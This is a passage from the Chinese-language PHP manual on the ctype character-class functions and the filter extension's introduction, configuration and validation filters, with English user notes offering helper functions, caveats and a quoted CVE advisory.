brcontainer at yahoo dot com dot br 07-Oct-2018 03:00
ctype_digit don't support negative value in string:

<?php
var_dump( ctype_digit('-10') ); //return bool(false)
?>

Improved (and simplified) Tim Boormans code:

<?php
/**
 * Check input for existing only of digits (numbers)
 * @author Guilherme Nascimento <brcontainer@yahoo.com.br>
 * @param $digit
 * @return bool
 */
function is_digit($digit)
{
    return preg_match('#^-?\d+$#', $digit) && is_int((int) $digit);
}
zorrosNOSPAMwordsman at NOSPAM dot gmail dot com 11-May-2016 12:34
If you want to verify whether or not a variable contains only digits, you can type cast it to a string and back to int and see if the result is identical. Like so:

<?php

// (bool) TRUE if only digits, FALSE otherwise
$isOnlyDigits = (string) (int) $input === (string) $input;

?>

I haven't benchmarked it, but I'm guessing it's significantly faster then regular expressions.
smicheal2 at gmail dot com 07-Oct-2015 01:21
Please note that ctype_digit() will say true for strings such as '00001', which are not technically valid representations of integers, while saying false to strings such as '-1', which are. It's basically a faster version of the regex /^\d+$/. As the name says, it answers the question "does this string contain only digits" literally. It does not answer "is this a valid representation of an integer". If that's what you want, use is_int(filter_var($val, FILTER_VALIDATE_INT)) instead.
error17191 at gmail dot com 03-Oct-2015 01:41
I just wanted to clarify a flaw in the function is_digit() suggested by "info at directwebsolutions dot nl " ..
It returns true in case of negative integers and false in case of strings that contain negative integers .
 example:
is_digit(-10); // returns ture
is_digit('-10'); // returns false
rlerne at gmail dot com 25-Apr-2013 06:04
Interesting to note that you must pass a STRING to this function, other values won't be typecasted (I figured it would even though above explicitly says string $text).

I.E.

<?PHP
$val = 42; //Answer to life
$x = ctype_digit($val);
?>

Will return false, even though, when typecasted to string, it would be true.

<?PHP
$val = '42';
$x = ctype_digit($val);
?>

Returns True.

Could do this too:

<?PHP
$val = 42;
$x = ctype_digit((string) $val);
?>

Which will also return true, as it should.
info at directwebsolutions dot nl 19-May-2012 09:16
All basic PHP functions which i tried returned unexpected results. I would just like to check whether some variable only contains numbers. For example: when i spread my script to the public i cannot require users to only use numbers as string or as integer. For those situation i wrote my own function which handles all inconveniences of other functions and which is not depending on regular expressions. Some people strongly believe that regular functions slow down your script.

The reason to write this function:
1. is_numeric() accepts values like: +0123.45e6 (but you would expect it would not)
2. is_int() does not accept HTML form fields (like: 123) because they are treated as strings (like: "123").
3. ctype_digit() excepts all numbers to be strings (like: "123") and does not validate real integers (like: 123).
4. Probably some functions would parse a boolean (like: true or false) as 0 or 1 and validate it in that manner.

My function only accepts numbers regardless whether they are in string or in integer format.
<?php
    /**
     * Check input for existing only of digits (numbers)
     * @author Tim Boormans <info@directwebsolutions.nl>
     * @param $digit
     * @return bool
     */
    function is_digit($digit) {
        if(is_int($digit)) {
            return true;
        } elseif(is_string($digit)) {
            return ctype_digit($digit);
        } else {
            // booleans, floats and others
            return false;
        }
    }
?>
Skippy 25-Oct-2011 01:44
If you need to check for integers instead of just digits you can supply your own function such as this:

<?php
function ctype_int($text)
{
    return preg_match('/^-?[0-9]+$/', (string)$text) ? true : false;
}
?>
mdsky at web dot de 21-May-2010 12:44
is_numeric gives true by f. ex. 1e3 or 0xf5 too. So it's not the same as ctype_digit, which just gives true when only values from 0 to 9 are entered.
John Saman 05-Feb-2010 05:38
Using is_numeric function is quite faster than ctype_digit.

is_numeric took 0.237 Seconds for one million runs. while ctype_digit took 0.470 Seconds.
strrev xc tod noxeh ta ellij 14-Dec-2009 08:41
ctype_digit() will treat all passed integers below 256 as character-codes. It returns true for 48 through 57 (ASCII '0'-'9') and false for the rest.

ctype_digit(5) -> false
ctype_digit(48) -> true
ctype_digit(255) -> false
ctype_digit(256) -> true

(Note: the PHP type must be an int; if you pass strings it works as expected)
Peter de Pijd 18-Jul-2009 03:53
Note that an empty string is also false:
ctype_digit("") // false
a_p_leeming at hotmail dot com 24-May-2009 06:17
Also note that

<?php ctype_digit("-1");   //false ?>
raul dot 3k at gmail dot com 09-Apr-2009 08:21
The ctype_digit can be used in a simple form to validate a field:
<?php
$field = $_POST["field"];
if(!ctype_digit($field)){
  echo "It's not a digit";
}
?>

Note:
Digits is 0-9


检测除空格外的任何打印字符

  • ? ctype_digit
  • ctype_lower ?
  • PHP Manual
  • Ctype 函数
  • 检测除空格外的任何打印字符

ctype_graph

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_graph — 检测除空格外的任何打印字符

说明

ctype_graph(mixed $text): bool

检测提供的 string 类型的 text 里面的所有字符是否都是输出可见。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果 text 中每个字符都是输出可见的（没有空白），那么就返回 true，否则返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_graph() 示例

<?php
$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
if (ctype_graph($testcase)) {
echo "The string '$name' consists of all (visibly) printable characters.\n";
} else {
echo "The string '$name' does not consist of all (visibly) printable characters.\n";
}
}
?>

以上示例会输出：

The string 'string1' does not consist of all (visibly) printable characters.
The string 'string2' consists of all (visibly) printable characters.
The string 'string3' consists of all (visibly) printable characters.

参见

  • ctype_alnum() - 检测字母数字式字符
  • ctype_print() - 检测可打印字符
  • ctype_punct() - 检测可打印的字符是不是不包含空白、数字和字母
  • IntlChar::isgraph() - Check if code point is a graphic character

User Contributed Notes

There are no user contributed notes for this page.


检测小写字符

  • ? ctype_graph
  • ctype_print ?
  • PHP Manual
  • Ctype 函数
  • 检测小写字符

ctype_lower

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_lower — 检测小写字符

说明

ctype_lower(mixed $text): bool

检测提供的 string 类型的 text 里面的所有字符是否都是小写字母。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果在当前区域设置中 text 里的每个字符都是小写字母，那么就返回 true；否则返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_lower() 示例 (使用默认的语言环境)

<?php
$strings = array('aac123', 'qiutoas', 'QASsdks');
foreach ($strings as $testcase) {
if (ctype_lower($testcase)) {
echo "The string $testcase consists of all lowercase letters.\n";
} else {
echo "The string $testcase does not consist of all lowercase letters.\n";
}
}
?>

以上示例会输出：

The string aac123 does not consist of all lowercase letters.
The string qiutoas consists of all lowercase letters.
The string QASsdks does not consist of all lowercase letters.

参见

  • ctype_alpha() - 检测字母字符
  • ctype_upper() - 检测大写字符
  • setlocale() - 设置区域信息
  • IntlChar::islower() - Check if code point is a lowercase letter

User Contributed Notes

There are no user contributed notes for this page.


检测可打印字符

  • ? ctype_lower
  • ctype_punct ?
  • PHP Manual
  • Ctype 函数
  • 检测可打印字符

ctype_print

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_print — 检测可打印字符

说明

ctype_print(mixed $text): bool

检测提供的 string 类型的 text 里面的所有字符是否都可打印。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果在当前的语言环境下 text 里面的每个字符都能被实际输出（包括空白），那么就返回 true；如果 text 包含控制字符或者没有任何输出的字符，那么就返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_print() 示例

<?php
$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
if (ctype_print($testcase)) {
echo "The string '$name' consists of all printable characters.\n";
} else {
echo "The string '$name' does not consist of all printable characters.\n";
}
}
?>

以上示例会输出：

The string 'string1' does not consist of all printable characters.
The string 'string2' consists of all printable characters.
The string 'string3' consists of all printable characters.

参见

  • ctype_cntrl() - 检测控制字符
  • ctype_graph() - 检测除空格外的任何打印字符
  • ctype_punct() - 检测可打印的字符是不是不包含空白、数字和字母
  • IntlChar::isprint() - Check if code point is a printable character

User Contributed Notes

Kalahiri 19-Jan-2023 08:59
To check whether a string consists only of ASCII characters, use mb_detect_encoding( $string, 'ASCII', true );
harry at upmind dot com 22-Oct-2021 02:22
You can use this function to detect if a string is "binary".

<?php
    /**
     * Determine whether the given value is a binary string by checking to see if it contains only printable characters.
     *
     * @param string $value
     *
     * @return bool
     */
    function isBinary($value): bool
    {
        // remove "unprintable" whitespace characters (tabs, newlines etc)
        $string = preg_replace('/\s/', '', (string)$value);

        return !empty($string) && !ctype_print($string);
    }
?>
ClayDragon 02-Sep-2018 09:20
As mentioned above, only ASCII characters from 32 to 126 are considered printable, all others, including UTF-8 encoded characters are always considered unprintable, no matter what your locale settings are. Therefore, e.g. German "?", the Euro sign "�" or the British pound symbol "￡" will never be printable. If you need to check any characters for "printability" beyond the standard ASCII range, use a regular expression or write a specific function yourself.

See also this discussion: https://grokbase.com/t/php/php-i18n/102tkqe6rk/ctype-print-returns-false-for-british-pound-symbol-and-non-ascii-symbols
Anonymous 12-Jun-2012 05:59
Only ascii 32 thru 126 (inclusive) are considered printable. Tab (ascii 7), carriage return (ascii 13), linefeed (ascii 10) etc may produce output but are not considered printable.


检测可打印的字符是不是不包含空白、数字和字母

  • ? ctype_print
  • ctype_space ?
  • PHP Manual
  • Ctype 函数
  • 检测可打印的字符是不是不包含空白、数字和字母

ctype_punct

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_punct — 检测可打印的字符是不是不包含空白、数字和字母

说明

ctype_punct(mixed $text): bool

检测提供的 string 类型的 text 里面的所有字符是否都是标点符号。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果 text 中每个字符都是可打印，但不是字母、数字，也不是空白，那么就返回 true；反之则返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_punct() 示例

<?php
$strings = array('ABasdk!@!$#', '!@ # $', '*&$()');
foreach ($strings as $testcase) {
if (ctype_punct($testcase)) {
echo "The string $testcase consists of all punctuation.\n";
} else {
echo "The string $testcase does not consist of all punctuation.\n";
}
}
?>

以上示例会输出：

The string ABasdk!@!$# does not consist of all punctuation.
The string !@ # $ does not consist of all punctuation.
The string *&$() consists of all punctuation.

参见

  • ctype_cntrl() - 检测控制字符
  • ctype_graph() - 检测除空格外的任何打印字符
  • IntlChar::ispunct() - Check if code point is punctuation character

User Contributed Notes

There are no user contributed notes for this page.


检测空白字符

  • ? ctype_punct
  • ctype_upper ?
  • PHP Manual
  • Ctype 函数
  • 检测空白字符

ctype_space

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_space — 检测空白字符

说明

ctype_space(mixed $text): bool

检测提供的 string 类型的 text 里面的所有字符是否都是创建空白。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果 text 里面的每个字符都创建某种形式的空白，那么就返回 true；否则返回 false。除了空白字符，还包括制表符、垂直制表符、换行符、回车和换页符。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_space() 示例

<?php
$strings = array(
'string1' => "\n\r\t",
'string2' => "\narf12",
'string3' => '\n\r\t' // 注意单引号
);
foreach ($strings as $name => $testcase) {
if (ctype_space($testcase)) {
echo "The string '$name' consists of whitespace characters only.\n";
} else {
echo "The string '$name' contains non-whitespace characters.\n";
}
}
?>

以上示例会输出：

The string 'string1' consists of whitespace characters only.
The string 'string2' contains non-whitespace characters.
The string 'string3' contains non-whitespace characters.

参见

  • ctype_cntrl() - 检测控制字符
  • ctype_graph() - 检测除空格外的任何打印字符
  • ctype_punct() - 检测可打印的字符是不是不包含空白、数字和字母
  • IntlChar::isspace() - Check if code point is a space character

User Contributed Notes

vlabots at gmail dot com 18-Jun-2014 07:03
thanks to gardnerjohng, but a had some problems with non-breaking spaces in this function.

I added 2 more cases for this:
case 0xC2
case 0xA0

After this modification non-breaking spaces in my test code were successfully detected.
gardnerjohng at hotmail dot com 14-Sep-2009 09:00
A function I wrote last night was fairly flexible in terms of detecting whitespace, and even took into account the pesky non-breaking spaces / zero-width spaces further up the Unicode alphabet.

The benefit here was being able to isolate and identify specific Unicode indices based on their subrange.

<?php
    //    Returns TRUE if the ASCII value of $string matches a registered whitespace character.
    //    *    This includes non-breaking spaces, zero-width spaces, and any unicode values below 32.
    //    *    $string: Character to identify. If string extends past one character, the value
    //        is truncated and only the initial character is examined.
    function is_whitespace($string){
        //    Return FALSE if passed an empty string.
        if($string == "") return FALSE;

        $char    =    ord($string);

        //    Control Characters
        if($char < 33)                        return TRUE;
        if($char > 8191 && $char < 8208)    return TRUE;
        if($char > 8231 && $char < 8240)    return TRUE;

        //    Additional Characters
        switch($char){
            case 160:    // Non-Breaking Space
            case 8287:    // Medium Mathematical Space
                return TRUE;
                break;
        }
        return FALSE;
    }
?>


检测大写字符

  • ? ctype_space
  • ctype_xdigit ?
  • PHP Manual
  • Ctype 函数
  • 检测大写字符

ctype_upper

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_upper — 检测大写字符

说明

ctype_upper(mixed $text): bool

检测提供的 string 类型的 text 里面的所有字符是否都是大写字符。

参数

text

要测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果在当前区域设置中 text 里的每个字符都是大写字母，那么就返回 true；否则返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_upper() 示例（使用当前默认语言环境）

<?php
$strings = array('AKLWC139', 'LMNSDO', 'akwSKWsm');
foreach ($strings as $testcase) {
if (ctype_upper($testcase)) {
echo "The string $testcase consists of all uppercase letters.\n";
} else {
echo "The string $testcase does not consist of all uppercase letters.\n";
}
}
?>

以上示例会输出：

The string AKLWC139 does not consist of all uppercase letters.
The string LMNSDO consists of all uppercase letters.
The string akwSKWsm does not consist of all uppercase letters.

参见

  • ctype_alpha() - 检测字母字符
  • ctype_lower() - 检测小写字符
  • setlocale() - 设置区域信息
  • IntlChar::isupper() - Check if code point has the general category "Lu" (uppercase letter)

User Contributed Notes

Anonymous 06-Jan-2016 07:25
// after screwing around with function.ctype-upper
// I found this simple solution

if (strtolower($string) != $string)// its so simple!
{
  echo "uppercase letters found in $string";
}

source: http://stackoverflow.com/questions/4426327/how-to-detect-if-string-contains-1-uppercase-letter-in-php
chris at theothernews dot co dot nz 11-Jun-2014 02:32
Underscores in the string will result in false, so you have to remove them first.


检测字符是否只包含十六进制字符

  • ? ctype_upper
  • 过滤器 ?
  • PHP Manual
  • Ctype 函数
  • 检测字符是否只包含十六进制字符

ctype_xdigit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ctype_xdigit — 检测字符是否只包含十六进制字符

说明

ctype_xdigit(mixed $text): bool

检查 string 类型的 text 里面的字符是不是都是十六进制字符。

参数

text

需要被测试的字符串。

Note:

如果给出一个 -128 到 255 之间(含)的int, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

Warning

自 PHP 8.1.0 起，弃用传递非字符串参数。未来该参数将解释为字符串而不是 ASCII 码点。根据预期行为，应将参数转为字符串或显式调用 chr()。

返回值

如果 text 中每个字符都是十六进制"数字"，也就是只能包含十进制数字和 [A-Fa-f] 的字符，那么就返回 true。否则返回 false。当使用空字符串调用时，结果始终为 false。

示例

Example #1 ctype_xdigit() 示例

<?php
$strings = array('AB10BC99', 'AR1012', 'ab12bc99');
foreach ($strings as $testcase) {
if (ctype_xdigit($testcase)) {
echo "The string $testcase consists of all hexadecimal digits.\n";
} else {
echo "The string $testcase does not consist of all hexadecimal digits.\n";
}
}
?>

以上示例会输出：

The string AB10BC99 consists of all hexadecimal digits.
The string AR1012 does not consist of all hexadecimal digits.
The string ab12bc99 consists of all hexadecimal digits.

参见

  • ctype_digit() - 检测数字字符
  • IntlChar::isxdigit() - Check if code point is a hexadecimal digit

User Contributed Notes

Anonymous 02-Dec-2022 10:51
this can be used with great results if you wanna check for something like

"Tobias2" whether there is a number at the end of the string. (F.e. courselist with coursenames etc.)

Just substring the last char and put it in the function.
We should be glad about every possibility to cut out these damn regexes from our code. NEVER USE REGEX
tom at hgmail dot com 14-Jan-2006 12:36
This function shows its usefulness on a web site where a user is asked to entered a hexidecimal color code for a color. To prevent breaking W3C standard and having them enter in "neon-green" or the wrong type of code like 355511235.

In conjunction with strlen()  you could create a function like this:

function check_valid_colorhex($colorCode) {
    // If user accidentally passed along the # sign, strip it off
    $colorCode = ltrim($colorCode, '#');

    if (
          ctype_xdigit($colorCode) &&
          (strlen($colorCode) == 6 || strlen($colorCode) == 3))
               return true;

    else return false;
}


数据过滤器

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 过滤器类型
    • 验证过滤器
    • 清理过滤器
    • 其它过滤器
    • 过滤器 flag
  • 预定义常量
  • 示例
    • 验证
    • 清理
  • 过滤器函数
    • filter_has_var — 检测是否存在指定类型的变量
    • filter_id — 返回与某个特定名称的过滤器相关联的id
    • filter_input_array — 获取一系列外部变量，并且可以通过过滤器处理它们
    • filter_input — 通过名称获取特定的外部变量，并且可以通过过滤器处理它
    • filter_list — 返回所支持的过滤器列表
    • filter_var_array — 获取多个变量并且过滤它们
    • filter_var — 使用特定的过滤器过滤一个变量

User Contributed Notes

There are no user contributed notes for this page.


简介

该扩展通过验证或清理数据来过滤数据。当数据源包含像用户提供的输入数据等未知（或外部）数据时，这尤其有用。例如，这些数据可能来自 HTML 表单。

有两种主要的过滤类型：验证（validation）和清理（sanitization）。

验证用于验证或检查数据是否符合某些条件。例如，传递 FILTER_VALIDATE_EMAIL 可以确定数据是否是有效的电子邮件地址，但不会更改数据本身。

清理将清理数据，因此可能通过移除不需要的字符来改变数据。例如，使用 FILTER_SANITIZE_EMAIL 会移除电子邮件地址中不适当的字符。也就是说，不会对数据进行验证。

对于验证和清理，flag是可选的，可以根据需要调整行为。例如，在过滤 URL 时传递 FILTER_FLAG_PATH_REQUIRED 将要求存在路径（如 http://example.org/foo 中的 /foo）。

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展默认为启用，编译时可通过下列选项禁用： --disable-filter

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

过滤器配置项
名字 | 默认 | 可修改范围 | 更新日志
filter.default | "unsafe_raw" | PHP_INI_PERDIR | 自 PHP 8.1.0 起弃用。
filter.default_flags | NULL | PHP_INI_PERDIR |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

filter.default string

通过此过滤器过滤所有 $_GET、$_POST、$_COOKIE、$_REQUEST 和 $_SERVER。通过 filter_input() 访问原始数据。

默认接受希望使用的过滤器名称。请查看现有过滤器列表以获取过滤器名称的列表。

Note:

要小心默认过滤器的默认 flag。应该明确将其设置为想要的值。例如，要将默认过滤器配置为与 htmlspecialchars() 完全相同的行为，需要将默认 flag 设置为 0，如下所示。

Example #1 配置默认过滤器的表现像 htmlspecialchars

filter.default = full_special_chars
filter.default_flags = 0

filter.default_flags int

设置默认过滤器时要应用的默认 flag。出于向后兼容性的原因，默认设置为 FILTER_FLAG_NO_ENCODE_QUOTES。查看 flag 列表以获取所有 flag 名称的列表。

User Contributed Notes

warbaby67 at gmail dot com 14-Dec-2010 10:04
filter.default sets the default FILTER by name.
filter.default_flags sets default FLAGS for the default filter.

The values for filter.default should be a string "name" of a valid FILTER:

"int"      FILTER_VALIDATE_INT
"boolean"  FILTER_VALIDATE_BOOLEAN

The irony of the entire list I typed being blocked by the SPAM filter is not lost on me.  Perhaps I'm not the first.


过滤器类型

Table of Contents

  • 验证过滤器
  • 清理过滤器
  • 其它过滤器
  • 过滤器 flag

User Contributed Notes

There are no user contributed notes for this page.


验证过滤器

用于验证的过滤器列表
ID | 名称 | 选项 | flag | 说明
FILTER_VALIDATE_BOOLEAN、FILTER_VALIDATE_BOOL | "boolean" | default | FILTER_NULL_ON_FAILURE | "1"、"true"、"on" 和 "yes" 时返回 true，否则返回 false。 如果设置了 FILTER_NULL_ON_FAILURE，仅当 "0"、"false"、"off"、"no" 和 "" 时才会返回 false，其它非布尔值都会返回 null。 字符串在对比前会使用 trim() 修剪。
FILTER_VALIDATE_DOMAIN | "validate_domain" | default | FILTER_FLAG_HOSTNAME、FILTER_NULL_ON_FAILURE | 验证域名标签的长度是否有效。 根据 RFC 1034、RFC 1035、RFC 952、RFC 1123、RFC 2732、RFC 2181 和 RFC 1123 的规范验证域名。可选的 flag FILTER_FLAG_HOSTNAME 会添加验证主机名的能力（它们必须以字母数字字符开头，并且只能包含字母数字字符或连字符）。
FILTER_VALIDATE_EMAIL | "validate_email" | default | FILTER_FLAG_EMAIL_UNICODE、FILTER_NULL_ON_FAILURE | 验证值是否是有效的电子邮件地址。 一般情况下，这将根据 » RFC 822 对电子邮件地址进行验证，使用 addr-spec 语法，并且不支持注释、空白折叠和无点域名的例外情况。
FILTER_VALIDATE_FLOAT | "float" | default、decimal、min_range、max_range | FILTER_FLAG_ALLOW_THOUSAND、FILTER_NULL_ON_FAILURE | 将值作为浮点数验证，并且可选择在指定范围内进行验证，在验证成功后将其转换为浮点数。 字符串在对比前会使用 trim() 修剪。
FILTER_VALIDATE_INT | "int" | default、min_range、max_range | FILTER_FLAG_ALLOW_OCTAL、FILTER_FLAG_ALLOW_HEX、FILTER_NULL_ON_FAILURE | 将值作为整数验证，并且可选择在指定范围内进行验证，在验证成功后将其转换为整数。 字符串在对比前会使用 trim() 修剪。
FILTER_VALIDATE_IP | "validate_ip" | default | FILTER_FLAG_IPV4、FILTER_FLAG_IPV6、FILTER_FLAG_NO_PRIV_RANGE、FILTER_FLAG_NO_RES_RANGE、FILTER_FLAG_GLOBAL_RANGE、FILTER_NULL_ON_FAILURE | 将值作为 IP 地址验证，可选择仅验证 IPv4、IPv6 或不验证私有、保留范围。
FILTER_VALIDATE_MAC | "validate_mac_address" | default | FILTER_NULL_ON_FAILURE | 将值作为 MAC 地址验证。
FILTER_VALIDATE_REGEXP | "validate_regexp" | default、regexp | FILTER_NULL_ON_FAILURE | 根据 regexp（Perl 兼容的正则表达式）验证值。
FILTER_VALIDATE_URL | "validate_url" | default | FILTER_FLAG_SCHEME_REQUIRED、FILTER_FLAG_HOST_REQUIRED、FILTER_FLAG_PATH_REQUIRED、FILTER_FLAG_QUERY_REQUIRED、FILTER_NULL_ON_FAILURE | 验证值是否为 URL（根据 » http://www.faqs.org/rfcs/rfc2396），并可选择验证 URL 所需的组件。请注意，有效的 URL 可能不会指定 HTTP 协议（http://），因此可能需要进一步验证以确定 URL 是否使用了期望的协议，如 ssh:// 或mailto:。请注意，该函数只会认为 ASCII 编码的 URL 是有效的；国际化域名（包含非 ASCII 字符）将无法通过验证。

Note:

当将 default 设置到选项，如果值未通过验证，将使用 default 的值。

更新日志

版本 | 说明
8.0.0 | FILTER_VALIDATE_URL 过滤器移除 FILTER_FLAG_SCHEME_REQUIRED 和 FILTER_FLAG_HOST_REQUIRED flag。 scheme 和 host 始终（一直以来）必需。
8.0.0 | 新增 FILTER_VALIDATE_BOOL 作为 FILTER_VALIDATE_BOOLEAN 的别名。优先使用 FILTER_VALIDATE_BOOL。
7.4.0 | FILTER_VALIDATE_FLOAT 新增 min_range 和 max_range 选项。
7.0.0 | 新增 FILTER_FLAG_HOSTNAME 和 FILTER_VALIDATE_DOMAIN。

User Contributed Notes

Andrew Rump 13-Nov-2022 08:17
FILTER_VALIDATE_URL do not support IDN in any form, i.e., neither r?dgr?d.dk nor xn--rdgrd-vuad.dk even though the domain is active.
holger dot ahrens at rittec dot de 07-Mar-2022 08:12
FILTER_VALIDATE_FLOAT Security Risk CVE-2021-21708 High Risk from

Warning from MITRE Corporation, Common Vulnerabilities and Exposures:

In PHP versions 7.4.x below 7.4.28, 8.0.x below 8.0.16, and 8.1.x below 8.1.3, when using filter functions with FILTER_VALIDATE_FLOAT filter and min/max limits, if the filter fails, there is a possibility to trigger use of allocated memory after free, which can result it crashes, and potentially in overwrite of other memory chunks and RCE. This issue affects: code that uses FILTER_VALIDATE_FLOAT with min/max limits.

(Source: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21708)
boan at jfmedier dot dk 11-Nov-2021 09:42
Note that some flags are removed in PHP 8. E.g. FILTER_FLAG_HOST_REQUIRED
andrew dot purkett at gmail dot com 13-May-2020 05:20
Please note that the FILTER_FLAG_NO_PRIV_RANGE flag does not exclude IPv4 private addresses in the IPv6 namespace, such as ::ffff:169.254.169.254.
carlosv775 at gmail dot com 05-May-2020 07:47
Looks like FILTER_VALIDATE_DOMAIN isn't available on PHP < 7:

https://3v4l.org/eOPLM
MR Yekta 02-Apr-2020 10:17
since php 7.4
you can use these 3 beautiful conditions for from validation for validation less, great or in range

<?php
/**
 * less_than_equal_to
 */
$x = 50;
if (filter_var($x, FILTER_VALIDATE_FLOAT, ["options" => ["max_range" => 100]]) !== false) {
    echo "result : $x is less than OR equal to 100";
} else {
    echo "result : $x is NOT less than OR equal to 100";
}
?>
result : 50 is less than OR equal to 100

<?php
/**
 * greater_than_equal_to
 */
$x = 50;
if (filter_var($x, FILTER_VALIDATE_FLOAT, ["options" => ["min_range" => 100]]) !== false) {
    echo "result : $x is greater than OR equal to 100";
} else {
    echo "result : $x is NOT greater than OR equal to 100";
}
?>
result : 50 is NOT greater than OR equal to 100

<?php
/**
 * less_than_equal_to && greater_than_equal_to
 */
$x = 50;
if (filter_var($x, FILTER_VALIDATE_FLOAT, ["options" => ["min_range" => 0 , "max_range"=> 100]]) !== false) {
    echo "result : $x is in range of 0 to 100";
} else {
    echo "result : $x in NOT range of 0 to 100";
}
?>
result : 50 is in range of 0 to 100
Vee W. 12-Aug-2019 10:09
`FILTER_FLAG_EMAIL_UNICODE` was added in PHP 7.1
gee2711 at googlemail dot com 30-Jan-2018 06:36
FILTER_FLAG_QUERY_REQUIRED is failing URLs that are encoded e.g.

http://example.com/page.php?q=growing+big

Fails whilst

http://example.com/page.php?q=big

So anything more than one word encoded fails.

Tested on PHP version 7.1
luca at accomazzi dot net 04-May-2017 02:47
A word to the wise regarding floats.

$t = '312041.25 &euro; instead of 896.70 &euro;';
echo filter_var ($t, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);

will return
312041.25896.70
which is likely not what you were expecting. In 2007 someone suggested it's not acceptable (see https://bugs.php.net/bug.php?id=40156&edit=2) but it was flagged "not a bug" because these kind of filters are only supposed to filter out illegal characters.
Of course if you were to use FILTER_VALIDATE_FLOAT it would just return that the input is not valid.
kizge 30-Jun-2016 08:18
FILTER_VALIDATE_INT first casts its value to string which produces unexpected result for bool and float (https://bugs.php.net/bug.php?id=72490):

<?php

// Prints int(1).
var_dump(filter_var(true, FILTER_VALIDATE_INT));

// ...but this prints bool(false).
var_dump(filter_var(false, FILTER_VALIDATE_INT));

// --------

// Prints bool(false).
var_dump(filter_var(1.1, FILTER_VALIDATE_INT));

// ...but this prints int(0).
var_dump(filter_var(0.0, FILTER_VALIDATE_INT));

// ...but this again is bool(false).
var_dump(filter_var('0.0', FILTER_VALIDATE_INT));

// Also bool(false).
var_dump(filter_var('-0.0', FILTER_VALIDATE_INT));

?>

Live sample: https://3v4l.org/CZW0W

The docs are not clear on how exactly this casting affects the result for certain input values.
sebastian dot piskorski at gmail dot com 05-Jan-2016 12:48
FILTER_VALIDATE_EMAIL not only doesn't support whitespace folding and comments. It only checks Addr-spec part of email address. Otherwise it should mark such address as valid: 'Test Example <test@example.com>' because it is valid according to RFC 822.

Also address "test@localhost" should be valid. Which is mentioned in another note.

You can test it with this code:
<?php

$emails = array(
    'Test Example <test@example.com>',
    'test@localhost',
    'test@localhost.com'
);

foreach ($emails as $email) {
    echo (filter_var($email, FILTER_VALIDATE_EMAIL)) ?
        "[+] Email '$email' is valid\n" :
        "[-] Email '$email' is NOT valid\n";
}
?>

Output for PHP 5.3.21 - 7.0.1 :
[-] Email 'Test Example <test@example.com>' is NOT valid
[-] Email 'test@localhost' is NOT valid
[+] Email 'test@localhost.com' is valid
rsnell at usgs dot gov 25-Nov-2015 05:18
